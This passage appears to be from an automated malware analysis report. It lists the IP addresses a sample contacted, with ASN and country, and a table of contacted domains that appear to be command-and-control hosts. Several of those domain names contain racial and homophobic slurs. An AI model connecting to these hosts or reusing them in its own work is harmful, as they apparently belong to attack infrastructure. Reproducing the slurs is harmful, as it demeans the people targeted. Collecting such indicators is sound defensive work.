49100 IR-THR-PTEIR false
92.224.222.96
 unknown Germany
6805 TDDE-ASN1DE false
171.106.62.20
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
157.141.174.37
 unknown United States
27064 DNIC-ASBLK-27032-27159US false
186.156.63.24
 unknown Chile
22047 VTRBANDAANCHASACL false
41.227.184.104
 unknown Tunisia
2609 TN-BB-ASTunisiaBackBoneASTN false
21.167.37.233
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
104.27.44.51
 unknown United States
13335 CLOUDFLARENETUS false
111.0.140.106
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
160.149.147.8
 unknown United States
1468 DNIC-ASBLK-01467-01468US false
46.139.19.42
 unknown Hungary
5483 MAGYAR-TELEKOM-MAIN-ASMagyarTelekomNyrtHU false
65.48.13.177
 unknown United States
7029 WINDSTREAMUS false
53.161.116.87
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
115.84.101.128
 unknown Lao People's Democratic Republic
9873 TELECOM-LA-AS-APLaoTelecomCommunicationLTCLA false
39.246.193.50
 unknown Indonesia
23693 TELKOMSEL-ASN-IDPTTelekomunikasiSelularID false
104.7.116.186
 unknown United States
7018 ATT-INTERNET4US false
140.155.120.20
 unknown United States
1580 DNIC-ASBLK-01550-01601US false
212.13.30.189
 unknown Russian Federation
12714 TI-ASMoscowRussiaRU false
23.28.59.137
 unknown United States
12083 WOW-INTERNETUS false
29.90.224.195
 unknown United States
7922 COMCAST-7922US false
214.223.45.64
 unknown United States
721 DNIC-ASBLK-00721-00726US false
80.84.13.224
 unknown Germany
8220 COLTCOLTTechnologyServicesGroupLimitedGB false
35.30.104.167
 unknown United States
36375 UMICH-AS-5US false
107.237.61.160
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
77.6.87.64
 unknown Germany
6805 TDDE-ASN1DE false
213.144.60.148
 unknown Spain
15937 ADIFES false
178.19.21.80
 unknown Lithuania
50962 ROVENTA_AS_LT false
187.6.86.90
 unknown Brazil
8167 BrasilTelecomSA-FilialDistritoFederalBR false
7.195.174.228
 unknown United States
3356 LEVEL3US false
192.207.233.39
 unknown United States
6507 RIOT-NA1US false
60.169.224.148
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
61.31.111.220
 unknown Taiwan; Republic of China (ROC)
9924 TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi false
111.146.252.127
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
39.67.90.180
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
150.122.198.25
 unknown China
4152 USDA-1US false
74.94.147.232
 unknown United States
7922 COMCAST-7922US false
55.237.29.190
 unknown United States
306 DNIC-ASBLK-00306-00371US false
197.155.220.253
 unknown unknown
36974 AFNET-ASCI false
45.202.74.210
 unknown Seychelles
139086 ONL-HKOCEANNETWORKLIMITEDHK false
150.184.213.115
 unknown United States
26438 MONROE-COMMUNITY-COLLEGEUS false
126.74.234.23
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
28.196.140.10
 unknown United States
7922 COMCAST-7922US false
12.101.12.58
 unknown United States
7018 ATT-INTERNET4US false
151.48.4.199
 unknown Italy
1267 ASN-WINDTREIUNETEU false
21.231.69.196
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
55.185.220.120
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
162.183.240.205
 unknown United States
21928 T-MOBILE-AS21928US false
9.91.243.100
 unknown United States
3356 LEVEL3US false
48.214.232.106
 unknown United States
2686 ATGS-MMD-ASUS false
217.154.108.242
 unknown United Kingdom
8897 KCOM-SPNService-ProviderNetworkex-MistralGB false
15.187.157.68
 unknown United States
71 HP-INTERNET-ASUS false
77.240.190.181
 unknown Czech Republic
24641 FASTER-ASCZ false
165.237.171.95
 unknown United States
3456 TWC-3456-ITUS false
203.85.234.116
 unknown Hong Kong
4058 CITICTEL-CPC-AS4058CITICTelecomInternationalCPCLimited false
151.113.172.118
 unknown United States
32480 LLUMCUS false
3.165.95.64
 unknown United States
16509 AMAZON-02US false
162.36.150.118
 unknown United States
35893 ACPCA false
139.24.179.90
 unknown Germany
9905 LINKNET-ID-APLinknetASNID false
33.51.226.238
 unknown United States
2686 ATGS-MMD-ASUS false
110.41.90.255
 unknown China
59011 YLWLBeijingYunlinNetworkTechnologyCoLtdCN false
174.208.241.48
 unknown United States
22394 CELLCOUS false
145.210.151.132
 unknown Netherlands
1101 IP-EEND-ASIP-EENDBVNL false
67.73.62.22
 unknown United States
3549 LVLT-3549US false
17.184.56.75
 unknown United States
714 APPLE-ENGINEERINGUS false

Contacted Domains

Name IP Active
yellowchink.pirate 45.156.86.24 true
chinklabs.dyn 185.150.24.67 true
burnthe.libre 45.156.86.24 true
chinklabs.dyn. [malformed] unknown unknown
netfags.geek. [malformed] unknown unknown
yellowchink.pirate. [malformed] unknown unknown